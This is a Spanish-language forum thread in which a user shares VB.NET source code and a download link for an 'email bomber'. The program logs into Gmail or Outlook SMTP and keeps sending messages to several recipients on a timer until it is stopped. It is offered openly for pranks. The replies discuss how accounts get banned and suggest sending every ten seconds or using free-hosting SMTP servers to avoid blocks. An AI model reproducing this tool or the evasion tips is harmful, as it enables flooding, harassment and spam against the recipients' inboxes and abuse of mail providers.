Ya he visto en este foro muchos códigos de "Email bomber", pero aquí les traigo uno, que a decir verdad, no es muy diferente a los demás. Pero para hacer bromas en el día de hoy creo que viene al pelo. ;-)
Aclaro que no son emails anónimos, sino que se debe usar una cuenta de correo que exista y que sea válida completando la dirección de correo y la contraseña.
Se puede enviar tantos emails como se quiera (hasta que se presione el botón "Detener") a varios destinatarios al mismo tiempo simplemente separando los correos con "punto y coma" y sin espacios ;)
'Una vieja idea para hacer bromas por email
'
'Por Crazy.sx
Imports System.Net.Mail
Imports System.IO
Public Class EnvEMAIL
Private TipoCuenta As String
'Private aAdjuntos As Attachment
'Private dato As FileStream
'Private CORREO As New MailMessage
Dim numCantidadEnviados As Integer = 0
Private Sub btnEnviar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnEnviar.Click
lblConteoEmail.Text = "Cantidad email enviados: 0"
If checkbxActivarBomber.CheckState = CheckState.Checked Then
Timer1.Interval = txtSegundos.Text * 1000
Timer1.Enabled = True
End If
If checkbxActivarBomber.CheckState = CheckState.Unchecked Then
Timer1.Enabled = False
Call emailNormal()
End If
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Call emailBomber()
End Sub
Private Sub emailBomber()
Call emailNormal()
End Sub
Private Sub emailNormal()
Dim Mail As New MailMessage
Dim puertoSMTP As String = Nothing
Mail.Subject = txtAsunto.Text
If chekbxCCO.CheckState = CheckState.Checked Then
For Each email As String In txtDestino.Text.Split(";")
Mail.Bcc.Add(New System.Net.Mail.MailAddress(email)) 'CCO
Next
Else
For Each email As String In txtDestino.Text.Split(";")
Mail.To.Add(New System.Net.Mail.MailAddress(email)) 'Sin CCO
Next
End If
Mail.From = New MailAddress(txtRemitente.Text)
Mail.Body = txtCuerpoMensaje.Text
If ComboBox1.Text = "Windows Live" Then
TipoCuenta = "smtp.live.com"
End If
If ComboBox1.Text = "Gmail" Then
TipoCuenta = "smtp.gmail.com"
End If
If ComboBox1.Text = "Outlook" Then
TipoCuenta = "smtp.live.com"
End If
Dim TRUE_FALSE As Boolean = vbNull
If ComboBox2.Text = "TRUE" Then
TRUE_FALSE = True
End If
If ComboBox2.Text = "FALSE" Then
TRUE_FALSE = False
End If
Dim SMTP As New SmtpClient(TipoCuenta)
SMTP.EnableSsl = TRUE_FALSE
SMTP.Credentials = New System.Net.NetworkCredential(txtRemitente.Text, txtPass.Text)
SMTP.Port = txtPuertoSMTP.Text
SMTP.Send(Mail)
If checkbxActivarBomber.CheckState = CheckState.Checked Then
numCantidadEnviados = numCantidadEnviados + 1
lblConteoEmail.Text = "Cantidad email enviados: " & numCantidadEnviados
Else
MsgBox("Mensaje enviado a destinario/s")
End If
End Sub
Private Sub EnvEMAIL_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
End
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
txtPuertoSMTP.Text = "587" 'Puerto predeterminado
ComboBox1.Text = "Seleccione SMTP"
Call ElegirSMTP()
Call seguridadSSL()
End Sub
Sub seguridadSSL()
With Me.ComboBox2.Items
.Add("TRUE")
.Add("FALSE")
End With
End Sub
Sub ElegirSMTP()
With Me.ComboBox1.Items
.Add("Outlook")
.Add("Windows Live")
.Add("Gmail")
End With
End Sub
Private Sub btnDetener_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnDetener.Click
Timer1.Enabled = False
numCantidadEnviados = 0
End Sub
End Class
Descargar proyecto: https://skydrive.live.com/redir?resid=8E230698F73CED18!986&authkey=!AEeGCOYK3QRk3iA (https://skydrive.live.com/redir?resid=8E230698F73CED18!986&authkey=!AEeGCOYK3QRk3iA)
Ya que estamos, pasenme el SMTP y el puerto de Yahoo y/o de algunos otros que conozcan. Gracias.
Saludos, yo.
;-)
Pues con servidores de correo gratuitos no funcionara. Ya que te cancelaran las cuentas por envió de spam
Cita de: .::IT::. en 29 Diciembre 2012, 03:49 AM
Pues con servidores de correo gratuitos no funcionara. Ya que te cancelaran las cuentas por envió de spam
Sí, la verdad. Aunque también es cierto que si desde la misma cuenta de Gmail, Outlook o Windows Live, si envías correos muy seguidos, te bloquean la cuenta por un tiempo para evitar esto que vos mencionas. Hice la prueba con mi cuenta personal y me pasó :P.
La única solución fue enviar los emails cada 10 segundos aproximadamente.
Saludos.
para eso buscas hostings free q tengan smtp y lo haces ;) :3
Cita de: spiritdead en 29 Diciembre 2012, 06:48 AM
para eso buscas hostings free q tengan smtp y lo haces ;) :3
Sí, bueno. Solo que actualmente es más común que los correos de esos hosting que decís es muy probable que lleguen como "Correos no deseados" y no los lean así no mas... :rolleyes: